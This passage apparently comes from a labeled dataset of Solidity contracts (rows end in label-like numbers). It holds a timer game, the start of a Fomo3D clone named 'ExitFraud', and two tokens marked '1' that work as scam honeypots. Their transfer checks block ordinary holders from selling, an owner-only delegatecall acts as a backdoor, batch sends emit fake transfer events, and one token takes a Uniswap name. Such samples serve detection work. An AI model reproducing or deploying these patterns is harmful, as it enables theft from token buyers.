uint256 decrease = difference.mul(wagerIndex).div(numberOfWagersToMinimumTimeout);
return (timeout - decrease);
}
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract ChronosFinance is ChronosBase, PullPayment {
uint256 public feePercentage = 2500;
uint256 public gameStarterDividendPercentage = 1000;
uint256 public price;
uint256 public nextPrice;
uint256 public prizePool;
uint256 public wagerPool;
function setGameStarterDividendPercentage(uint256 _gameStarterDividendPercentage) external onlyCFO {
require(500 <= _gameStarterDividendPercentage && _gameStarterDividendPercentage <= 4000);
gameStarterDividendPercentage = _gameStarterDividendPercentage;
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
function withdrawFreeBalance() external onlyCFO {
uint256 freeBalance = this.balance.sub(totalPayments).sub(prizePool).sub(wagerPool);
cfoAddress.transfer(freeBalance);
}
}
contract ChronosCore is ChronosFinance {
function ChronosCore(uint256 _price, uint256 _timeout, uint256 _minimumTimeout, uint256 _numberOfWagersToMinimumTimeout) public {
require(_timeout >= _minimumTimeout);
nextPrice = _price;
nextTimeout = _timeout;
nextMinimumTimeout = _minimumTimeout;
nextNumberOfWagersToMinimumTimeout = _numberOfWagersToMinimumTimeout;
NextGame(nextPrice, nextTimeout, nextMinimumTimeout, nextNumberOfWagersToMinimumTimeout);
}
event NextGame(uint256 price, uint256 timeout, uint256 minimumTimeout, uint256 numberOfWagersToMinimumTimeout);
event Start(address indexed starter, uint256 timestamp, uint256 price, uint256 timeout, uint256 minimumTimeout, uint256 numberOfWagersToMinimumTimeout);
event End(address indexed winner, uint256 timestamp, uint256 prize);
event Play(address indexed player, uint256 timestamp, uint256 timeoutTimestamp, uint256 wagerIndex, uint256 newPrizePool);
event SpiceUpPrizePool(address indexed spicer, uint256 spiceAdded, string message, uint256 newPrizePool);
function play(bool startNewGameIfIdle) external payable {
_processGameEnd();
if (!gameStarted) {
require(!paused);
require(startNewGameIfIdle);
price = nextPrice;
timeout = nextTimeout;
minimumTimeout = nextMinimumTimeout;
numberOfWagersToMinimumTimeout = nextNumberOfWagersToMinimumTimeout;
gameStarted = true;
gameStarter = msg.sender;
Start(msg.sender, block.timestamp, price, timeout, minimumTimeout, numberOfWagersToMinimumTimeout);
}
require(msg.value >= price);
uint256 fee = price.mul(feePercentage).div(100000);
uint256 dividend = price.mul(gameStarterDividendPercentage).div(100000);
uint256 wagerPoolPart;
if (wagerIndex % 7 == 6) {
uint256 wagerPrize = price.mul(2);
wagerPoolPart = wagerPrize.sub(wagerPool);
msg.sender.transfer(wagerPrize);
wagerPool = 0;
} else {
wagerPoolPart = price.mul(2).div(7);
wagerPool = wagerPool.add(wagerPoolPart);
}
uint256 currentTimeout = calculateTimeout();
lastPlayer = msg.sender;
lastWagerTimeoutTimestamp = block.timestamp + currentTimeout;
prizePool = prizePool.add(price.sub(fee).sub(dividend).sub(wagerPoolPart));
Play(msg.sender, block.timestamp, lastWagerTimeoutTimestamp, wagerIndex, prizePool);
_sendFunds(gameStarter, dividend);
wagerIndex = wagerIndex.add(1);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function spiceUp(string message) external payable {
require(gameStarted || !paused);
require(msg.value > 0);
prizePool = prizePool.add(msg.value);
SpiceUpPrizePool(msg.sender, msg.value, message, prizePool);
}
function setNextGame(uint256 _price, uint256 _timeout, uint256 _minimumTimeout, uint256 _numberOfWagersToMinimumTimeout) external onlyCFO {
require(_timeout >= _minimumTimeout);
nextPrice = _price;
nextTimeout = _timeout;
nextMinimumTimeout = _minimumTimeout;
nextNumberOfWagersToMinimumTimeout = _numberOfWagersToMinimumTimeout;
NextGame(nextPrice, nextTimeout, nextMinimumTimeout, nextNumberOfWagersToMinimumTimeout);
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStarted) {
return false;
}
if (block.timestamp <= lastWagerTimeoutTimestamp) {
return false;
}
uint256 prize = prizePool.add(wagerPool);
_sendFunds(lastPlayer, prize);
End(lastPlayer, lastWagerTimeoutTimestamp, prize);
gameStarted = false;
gameStarter = 0x0;
lastPlayer = 0x0;
lastWagerTimeoutTimestamp = 0;
wagerIndex = 0;
prizePool = 0;
wagerPool = 0;
return true;
}
} | 0 | 197 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StingerToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,931 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,327 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularShort is F3Devents {}
contract ExitFraud is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x99904BE052F97eF56D13a1140F32d99213c88238);
address private admin1 = 0xdcfd5C7B10ce65598d8B13dFABcacE9c3889298C;
address private admin2 = msg.sender;
string constant public name = "Exit Fraud";
string constant public symbol = "EXITF";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 4 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(35,0);
fees_[1] = F3Ddatasets.TeamFee(65,0);
fees_[2] = F3Ddatasets.TeamFee(58,0);
fees_[3] = F3Ddatasets.TeamFee(45,0);
potSplit_[0] = F3Ddatasets.PotSplit(7,0);
potSplit_[1] = F3Ddatasets.PotSplit(12,0);
potSplit_[2] = F3Ddatasets.PotSplit(22,0);
potSplit_[3] = F3Ddatasets.PotSplit(27,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
